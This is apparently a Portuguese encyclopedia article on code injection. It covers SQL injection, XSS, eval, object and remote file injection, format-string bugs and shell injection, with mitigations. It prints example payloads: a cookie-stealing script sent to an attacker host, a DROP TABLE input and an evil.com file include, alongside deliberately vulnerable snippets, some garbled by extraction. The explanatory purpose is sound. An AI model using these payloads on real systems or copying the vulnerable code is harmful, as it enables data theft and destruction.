Injeção SQLEditar

Injeção SQL aproveita a sintaxe do SQL para injetar comandos que podem ler ou modificar um banco de dados, ou comprometer o significado da consulta original.

Por exemplo, considere uma página web que tenha dois campos para permitir que os usuários digitem um nome de usuário e uma senha. O código por trás da página irá gerar uma consulta SQL para verificar a senha contra a lista de nomes de usuário:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'

Se esta consulta retornar qualquer linha, então o acesso é concedido. Entretanto, se o usuário malicioso digitar um nome de usuário válido e injetar algum código válido (password' OR '1'='1) no campo Senha, então a consulta resultante será assim:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'

No exemplo acima, “Senha” é assumida como sendo em branco ou alguma string inócua. “'1'='1'” será sempre verdadeiro e muitas linhas serão retornadas, permitindo assim o acesso.

A técnica pode ser refinada para permitir a execução de múltiplas declarações, ou mesmo para carregar e executar programas externos.

>

Conforme o seguinte formato:

SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '

Se um adversário tiver o seguinte para inputs:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

a consulta será analisada para ser:

SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

> O resultado é que a tabela User será removida da base de dados. Isto ocorre porque o símbolo ; significa o fim de um comando e o início de um novo comando. -- significa o início de um comentário.

Cross-site scriptingEdit

Injeção de código é a injeção maliciosa ou introdução de código em uma aplicação. Alguns servidores web têm um script do livro de visitas, que aceita pequenas mensagens dos usuários e normalmente recebe mensagens como:

Very nice site!

No entanto uma pessoa maliciosa pode saber de uma vulnerabilidade de injeção de código no livro de visitas, e digita uma mensagem como:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Se outro usuário visualizar a página, então o código injetado será executado. Este código pode permitir que o atacante se faça passar por outro usuário. No entanto, este mesmo bug de software pode ser acidentalmente acionado por um utilizador despretensioso, o que fará com que o website exiba um mau código HTML.

HTML e a injecção de scripts é um assunto popular, vulgarmente denominado “cross-site scripting” ou “XSS”. XSS refere-se a uma falha de injeção na qual a entrada do usuário em um script web ou algo parecido é colocado no HTML de saída, sem ser verificado por código HTML ou scripting.

Muitos desses problemas estão relacionados a suposições errôneas de quais dados de entrada são possíveis, ou os efeitos de dados especiais.

Vulnerabilidades de avaliação dinâmicaEditar

Uma eval() vulnerabilidade de injeção ocorre quando um atacante pode controlar toda ou parte de uma string de entrada que é alimentada em uma eval() chamada de função.

$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');

O argumento de “eval” será processado como PHP, assim comandos adicionais podem ser anexados. Por exemplo, se “arg” estiver definido como “10; system('/bin/echo uh-oh')“, será executado um código adicional que executa um programa no servidor, neste caso “/bin/echo“.

Injecção de objectosEditar

PHP permite a serialização e desserialização de objectos inteiros. Se a entrada não confiável for permitida na função de desserialização, é possível sobregravar classes existentes no programa e executar ataques maliciosos. Tal ataque ao Joomla foi encontrado em 2013.

Injeção remota de arquivoEditar

Considerar este programa PHP (que inclui um arquivo especificado por pedido):

<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');

O exemplo pode ser lido como apenas arquivos coloridos como blue.php e red.php poderiam ser carregados, enquanto atacantes poderiam fornecer COLOR=http://evil.com/exploit fazendo com que o PHP carregasse o arquivo externo.

Injeção do especificador de formatoEditar

Bug de formatação de string mais comumente aparecem quando um programador deseja imprimir uma string contendo dados fornecidos pelo usuário. O programador pode erroneamente escrever printf(buffer) em vez de printf("%s", buffer). A primeira versão interpreta buffer como uma string de formatação, e analisa quaisquer instruções de formatação que ela possa conter. A segunda versão simplesmente imprime uma string na tela, como o programador pretendia. Considere o seguinte programa curto em C que tem uma matriz de variáveis locais password que contém uma senha; o programa pede ao usuário um número inteiro e uma string, então ecoa a string fornecida pelo usuário.

 char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;

Se a entrada do usuário for preenchida com uma lista de especificadores de formato como %s%s%s%s%s%s%s%s , então printf() começará a ler a partir da pilha. Eventualmente, um dos especificadores de formato %s acessará o endereço de password , que está na pilha, e imprimirá Password1 na tela.

Shell injectionEdit

Shell injection (ou injeção de comando) tem o nome de Unix shells, mas se aplica à maioria dos sistemas que permitem que o software execute programmaticamente uma linha de comando. Aqui está um exemplo de script tcsh vulnerável:

#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches

Se o acima estiver armazenado no arquivo executável ./check, o comando shell ./check " 1 ) evil" tentará executar o comando shell injetado evil em vez de comparar o argumento com o constante. Aqui, o código sob ataque é o código que está tentando verificar o parâmetro, o próprio código que poderia estar tentando validar o parâmetro para se defender contra um ataque.

>

Ainda função que pode ser usada para compor e executar um comando shell é um veículo potencial para lançar um ataque de injeção de shell. Entre estes estão system(), StartProcess(), e System.Diagnostics.Process.Start().

Sistemas servidores de cliente, tais como interação de web browser com servidores web, são potencialmente vulneráveis à injeção de shell. Considere o seguinte pequeno programa PHP que pode ser executado em um servidor web para executar um programa externo chamado funnytext para substituir uma palavra que o usuário enviou por alguma outra palavra.

<?phppassthru("/bin/funnytext " . $_GET);

O passthru no acima compõe um comando shell que é então executado pelo servidor web. Uma vez que parte do comando que compõe é retirado da URL fornecida pelo navegador web, isto permite que a URL injete comandos maliciosos da shell. Pode-se injetar código neste programa de várias maneiras explorando a sintaxe de vários recursos da shell (esta lista não é exaustiva):

>

>

Algumas linguagens oferecem funções para escapar apropriadamente ou citar strings que são usadas para construir comandos shell:

• PHP: escapeshellarg() e escapeshellcmd()
• Python: shlex.quote()

No entanto, isto ainda coloca o fardo sobre os programadores para conhecer/aprender sobre estas funções e para se lembrar de fazer uso delas cada vez que usam comandos shell. Além de usar estas funções, também é recomendado validar ou higienizar a entrada do usuário.

Uma alternativa mais segura é usar APIs que executam programas externos diretamente, ao invés de através de uma shell, evitando assim a possibilidade de injeção da shell. Entretanto, essas APIs tendem a não suportar várias características de conveniência das shells, e/ou a ser mais incômodas/verbosas em comparação à sintaxe concisa da shell.